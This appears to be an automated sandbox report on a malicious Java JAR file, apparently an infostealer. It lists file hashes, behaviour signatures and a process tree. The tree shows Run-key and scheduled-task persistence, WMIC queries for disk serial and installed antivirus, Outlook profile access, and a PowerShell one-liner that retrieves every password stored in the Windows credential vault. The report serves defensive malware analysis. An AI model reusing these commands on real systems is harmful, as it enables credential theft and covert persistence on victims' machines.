Analysis
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max time kernel
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max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 10:06
Static task
static1
Behavioral task
behavioral1
Sample
cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar
Resource
win10v2004-20240508-en
General
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Target
cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar
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Size
452KB
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MD5
42fd31ecef528cdfadc0c2029acd4dd3
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SHA1
19712ae2e86368ee1bdad8bcad63bd0737f1ea29
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SHA256
cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049
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SHA512
ad11734d8c8d325e326ad3e098931236780f2ea91910f0af538f17648a6ebc26e93b068f84eea254f55d992365526624a18006a6317bd2b8f41f1b01c493477f
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SSDEEP
12288:KU+rjFbxSTrH/MD8nAQaGroLs1zYJMhTQaQZbX6I:2jFbxurfOAqKoLslYJMhTQaMzl
Malware Config
Signatures
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar java.exe -
Loads dropped DLL 2 IoCs
pid Process 3632 java.exe 3632 java.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1988 icacls.exe -
Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook java.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049 = "\"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar\"" java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049 = "\"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar\"" java.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 37 ip-api.com -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 804 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3656 powershell.exe 3656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2380 WMIC.exe Token: SeSecurityPrivilege 2380 WMIC.exe Token: SeTakeOwnershipPrivilege 2380 WMIC.exe Token: SeLoadDriverPrivilege 2380 WMIC.exe Token: SeSystemProfilePrivilege 2380 WMIC.exe Token: SeSystemtimePrivilege 2380 WMIC.exe Token: SeProfSingleProcessPrivilege 2380 WMIC.exe Token: SeIncBasePriorityPrivilege 2380 WMIC.exe Token: SeCreatePagefilePrivilege 2380 WMIC.exe Token: SeBackupPrivilege 2380 WMIC.exe Token: SeRestorePrivilege 2380 WMIC.exe Token: SeShutdownPrivilege 2380 WMIC.exe Token: SeDebugPrivilege 2380 WMIC.exe Token: SeSystemEnvironmentPrivilege 2380 WMIC.exe Token: SeRemoteShutdownPrivilege 2380 WMIC.exe Token: SeUndockPrivilege 2380 WMIC.exe Token: SeManageVolumePrivilege 2380 WMIC.exe Token: 33 2380 WMIC.exe Token: 34 2380 WMIC.exe Token: 35 2380 WMIC.exe Token: 36 2380 WMIC.exe Token: SeIncreaseQuotaPrivilege 2380 WMIC.exe Token: SeSecurityPrivilege 2380 WMIC.exe Token: SeTakeOwnershipPrivilege 2380 WMIC.exe Token: SeLoadDriverPrivilege 2380 WMIC.exe Token: SeSystemProfilePrivilege 2380 WMIC.exe Token: SeSystemtimePrivilege 2380 WMIC.exe Token: SeProfSingleProcessPrivilege 2380 WMIC.exe Token: SeIncBasePriorityPrivilege 2380 WMIC.exe Token: SeCreatePagefilePrivilege 2380 WMIC.exe Token: SeBackupPrivilege 2380 WMIC.exe Token: SeRestorePrivilege 2380 WMIC.exe Token: SeShutdownPrivilege 2380 WMIC.exe Token: SeDebugPrivilege 2380 WMIC.exe Token: SeSystemEnvironmentPrivilege 2380 WMIC.exe Token: SeRemoteShutdownPrivilege 2380 WMIC.exe Token: SeUndockPrivilege 2380 WMIC.exe Token: SeManageVolumePrivilege 2380 WMIC.exe Token: 33 2380 WMIC.exe Token: 34 2380 WMIC.exe Token: 35 2380 WMIC.exe Token: 36 2380 WMIC.exe Token: SeIncreaseQuotaPrivilege 2872 WMIC.exe Token: SeSecurityPrivilege 2872 WMIC.exe Token: SeTakeOwnershipPrivilege 2872 WMIC.exe Token: SeLoadDriverPrivilege 2872 WMIC.exe Token: SeSystemProfilePrivilege 2872 WMIC.exe Token: SeSystemtimePrivilege 2872 WMIC.exe Token: SeProfSingleProcessPrivilege 2872 WMIC.exe Token: SeIncBasePriorityPrivilege 2872 WMIC.exe Token: SeCreatePagefilePrivilege 2872 WMIC.exe Token: SeBackupPrivilege 2872 WMIC.exe Token: SeRestorePrivilege 2872 WMIC.exe Token: SeShutdownPrivilege 2872 WMIC.exe Token: SeDebugPrivilege 2872 WMIC.exe Token: SeSystemEnvironmentPrivilege 2872 WMIC.exe Token: SeRemoteShutdownPrivilege 2872 WMIC.exe Token: SeUndockPrivilege 2872 WMIC.exe Token: SeManageVolumePrivilege 2872 WMIC.exe Token: 33 2872 WMIC.exe Token: 34 2872 WMIC.exe Token: 35 2872 WMIC.exe Token: 36 2872 WMIC.exe Token: SeIncreaseQuotaPrivilege 2872 WMIC.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2968 wrote to memory of 1988 2968 java.exe 86 PID 2968 wrote to memory of 1988 2968 java.exe 86 PID 2968 wrote to memory of 3832 2968 java.exe 102 PID 2968 wrote to memory of 3832 2968 java.exe 102 PID 3832 wrote to memory of 3148 3832 java.exe 105 PID 3832 wrote to memory of 3148 3832 java.exe 105 PID 3832 wrote to memory of 3632 3832 java.exe 107 PID 3832 wrote to memory of 3632 3832 java.exe 107 PID 3148 wrote to memory of 804 3148 cmd.exe 109 PID 3148 wrote to memory of 804 3148 cmd.exe 109 PID 3632 wrote to memory of 3836 3632 java.exe 110 PID 3632 wrote to memory of 3836 3632 java.exe 110 PID 3836 wrote to memory of 2380 3836 cmd.exe 112 PID 3836 wrote to memory of 2380 3836 cmd.exe 112 PID 3632 wrote to memory of 4080 3632 java.exe 113 PID 3632 wrote to memory of 4080 3632 java.exe 113 PID 4080 wrote to memory of 2872 4080 cmd.exe 115 PID 4080 wrote to memory of 2872 4080 cmd.exe 115 PID 3632 wrote to memory of 3492 3632 java.exe 116 PID 3632 wrote to memory of 3492 3632 java.exe 116 PID 3492 wrote to memory of 600 3492 cmd.exe 118 PID 3492 wrote to memory of 600 3492 cmd.exe 118 PID 3632 wrote to memory of 2436 3632 java.exe 119 PID 3632 wrote to memory of 2436 3632 java.exe 119 PID 2436 wrote to memory of 1608 2436 cmd.exe 121 PID 2436 wrote to memory of 1608 2436 cmd.exe 121 PID 3632 wrote to memory of 3656 3632 java.exe 124 PID 3632 wrote to memory of 3656 3632 java.exe 124 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe
Processes
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C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar1⤵
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\system32\icacls.exeC:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M2⤵
- Modifies file permissions
PID:1988
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C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar"2⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3832 -
C:\Windows\SYSTEM32\cmd.execmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar"3⤵
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar"4⤵
- Creates scheduled task(s)
PID:804
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C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049.jar"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3632 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2380
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2872
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list5⤵PID:600
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list5⤵PID:1608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3656
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
46B
MD5b322591be6e064005d327d671d81c21f
SHA1c1a64bbf4d210b79a2d8a47cfb040f9f94187225
SHA2563cdfbe91365311cea71120672d7cbecdf60056ea52542e823dc24781c2b32152
SHA5124dd80b4067c63fd842eaf008a9cd7ca0875066e15c66e346a70c132df425106988dc0c877217411947c77a6f1c6490312ca760469339da9ecefdb466c00b141e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
241KB
MD5e02979ecd43bcc9061eb2b494ab5af50
SHA13122ac0e751660f646c73b10c4f79685aa65c545
SHA256a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a
SHA5121e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372
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C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-907fcfc8-7a14-4f56-a415-be65cdc28bb2-sqlitejdbc.dll
Filesize914KB
MD5bcd42d2959eadc64dc225cf800ce3c90
SHA1f19981d3c3987259edf9874aaccaaec21616b03d
SHA25605a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d
SHA512428ba3a76543e726b58ea334b6ea9538c7230592cc29fa564fdb44fdb4e2998820514af70b10b80f77c8f1554f63e1a4822ef8db095191956652454d220bc167
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2804150937-2146708401-419095071-1000\83aa4cc77f591dfc2374580bbd95f6ba_5a32ead2-14a8-4b34-b6a3-85cfb28e2fbd
Filesize45B
MD5c8366ae350e7019aefc9d1e6e6a498c6
SHA15731d8a3e6568a5f2dfbbc87e3db9637df280b61
SHA25611e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
SHA51233c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd
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Filesize
452KB
MD542fd31ecef528cdfadc0c2029acd4dd3
SHA119712ae2e86368ee1bdad8bcad63bd0737f1ea29
SHA256cdddb72528ea0f9535676df3b408ba6bf4a8bf8b7d6a0ed6f74950c5300ab049
SHA512ad11734d8c8d325e326ad3e098931236780f2ea91910f0af538f17648a6ebc26e93b068f84eea254f55d992365526624a18006a6317bd2b8f41f1b01c493477f
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Filesize
1.4MB
MD5acfb5b5fd9ee10bf69497792fd469f85
SHA10e0845217c4907822403912ad6828d8e0b256208
SHA256b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e
SHA512e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa
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Filesize
2.6MB
MD52f4a99c2758e72ee2b59a73586a2322f
SHA1af38e7c4d0fc73c23ecd785443705bfdee5b90bf
SHA25624d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5
SHA512b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494
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Filesize
4.1MB
MD5b33387e15ab150a7bf560abdc73c3bec
SHA166b8075784131f578ef893fd7674273f709b9a4c
SHA2562eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491
SHA51225cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279
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Filesize
772KB
MD5e1aa38a1e78a76a6de73efae136cdb3a
SHA1c463da71871f780b2e2e5dba115d43953b537daf
SHA2562ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609
SHA512fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d